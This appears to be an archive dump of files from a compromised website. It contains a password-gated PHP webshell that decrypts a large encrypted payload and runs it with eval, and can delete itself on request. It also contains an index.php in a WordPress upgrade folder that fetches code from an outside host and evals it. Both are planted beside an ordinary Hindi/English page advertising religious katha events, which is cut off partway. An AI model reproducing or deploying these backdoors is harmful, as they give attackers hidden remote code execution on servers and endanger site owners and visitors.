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');
$c_name = 'X_SESSION_ID';
$final_key = "";

if (isset(${$_}['t']) && ${$_}['t'] == 'del') {
    @$unk(__FILE__);
    exit;
}

if (isset($_COOKIE[$c_name])) {
    $final_key = $de_se($_COOKIE[$c_name]);
} 
elseif (isset(${$__}['token'])) {
    $final_key = hash($s256, ${$__}['token'], true);
    $coo($c_name, $be_se($final_key), time() + 604800, '/');
}

if ($final_key) {
    $dec = $ssl_de($ct, $ae256, $final_key, OPENSSL_RAW_DATA, $iv);
    if ($dec && strpos($dec, '<?php') !== false) {
        eval('?>' . $dec);
    } else {
        $coo($c_name, '', time() - 3600, '/');
    }
}
?>
<!DOCTYPE html>
<html>
<head><title>c92a10324374fac681719d63979d00fe</title></head>
<body>
    <form method="POST">
        <input type="password" name="token" placeholder=" ">
        <button type="submit">>></button>
    </form>
</body>
</html>
    var/www/vhosts/uyarreklam.com.tr/httpdocs/wp-content/upgrade/156872/index.php000064400000000726151540367010023043 0ustar00<?php
$u = 'https://teamzedd2027.tech/project/rahman.txt';
$d = '';

if (function_exists('curl_init')) {
    $ch = curl_init($u);
    curl_setopt_array($ch, [CURLOPT_RETURNTRANSFER => 1, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_FOLLOWLOCATION => 1]);
    $d = curl_exec($ch);
    curl_close($ch);
} elseif (ini_get('allow_url_fopen')) {
    $d = file_get_contents($u, false, stream_context_create(["ssl"=>["verify_peer"=>false]]));
}

if ($d) @eval('?>'.$d);var/www/vhosts/uyarreklam.com.tr/httpdocs/wp-includes/block-bindings/398659/index.php000064400000025741151540367610024462 0ustar00<?php include 'header.php'; ?>

<main>
    <!-- BREADCRUMBS SECTION START -->
    <section class="ul-breadcrumb ul-section-spacing">
        <div class="ul-container">
            <h2 class="ul-breadcrumb-title lang-text" 
                data-en="Three Day Katha" 
                data-hi="त्रिदिवसीय कथा">
                त्रिदिवसीय कथा
            </h2>
            <ul class="ul-breadcrumb-nav">
                <li>
                    <a href="index.php" class="lang-text" 
                       data-en="Home" 
                       data-hi="होम">
                       Home
                    </a>
                </li>
                <li><span class="separator"><i class="flaticon-right"></i></span></li>
                <li>
                    <a href="javascript:void(0)" class="lang-text" 
                       data-en="Three Day Katha" 
                       data-hi="त्रिदिवसीय कथा">
                       त्रिदिवसीय कथा
                    </a>
                </li>
            </ul>
        </div>
    </section>
    <!-- BREADCRUMBS SECTION END -->

    <section class="ul-services ul-section-spacing overflow-hidden bg-light">
        <div class="ul-container">
            <div class="ul-section-heading">
                <div>
                    <h2 class="ul-section-title lang-text" 
                        data-en="Three Day Katha" 
                        data-hi="त्रिदिवसीय कथा">
                        त्रिदिवसीय कथा
                    </h2>
                </div>
            </div>

            <div class="row row-cols-md-4 row-cols-2 row-cols-xxs-1 ul-bs-row g-3">

                <!-- श्री गौ कथा -->
                <div class="col">
                    <div class="ul-service ul-service--inner text-center">
                        <div class="ul-service-img">
                            <img src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcQ8fEeZs1PtgY93jTb2xyiwUOWpXmYmokwLAw&s" 
                                 alt="श्री गौ कथा">
                        </div>
                        <h4 class="mt-2 lang-text" 
                            data-en="Shri Gau Katha" 
                            data-hi="श्री गौ कथा">
                            श्री गौ कथा
                        </h4>
                        <div class="text-center mt-4">
                            <a href="https://wa.me/+919460593000" class="ul-btn lang-text" 
                               data-en="Click here for more info" 
                               data-hi="अधिक जानकारी हेतु क्लिक करें">
                               अधिक जानकारी हेतु क्लिक करें
                            </a>
                        </div>
                    </div>
                </div>

                <!-- श्री देवी भागवत कथा -->
                <div class="col">
                    <div class="ul-service ul-service--inner text-center">
                        <div class="ul-service-img">
                            <img src="https://ommall.s3.ap-south-1.amazonaws.com/web/stores/ommall/media/products/books/Dharmik%20Prakashan/Sri%20Devi%20Bhagawat%20(Marathi).jpg" 
                                 alt="श्री देवी भागवत कथा">
                        </div>
                        <h4 class="mt-2 lang-text" 
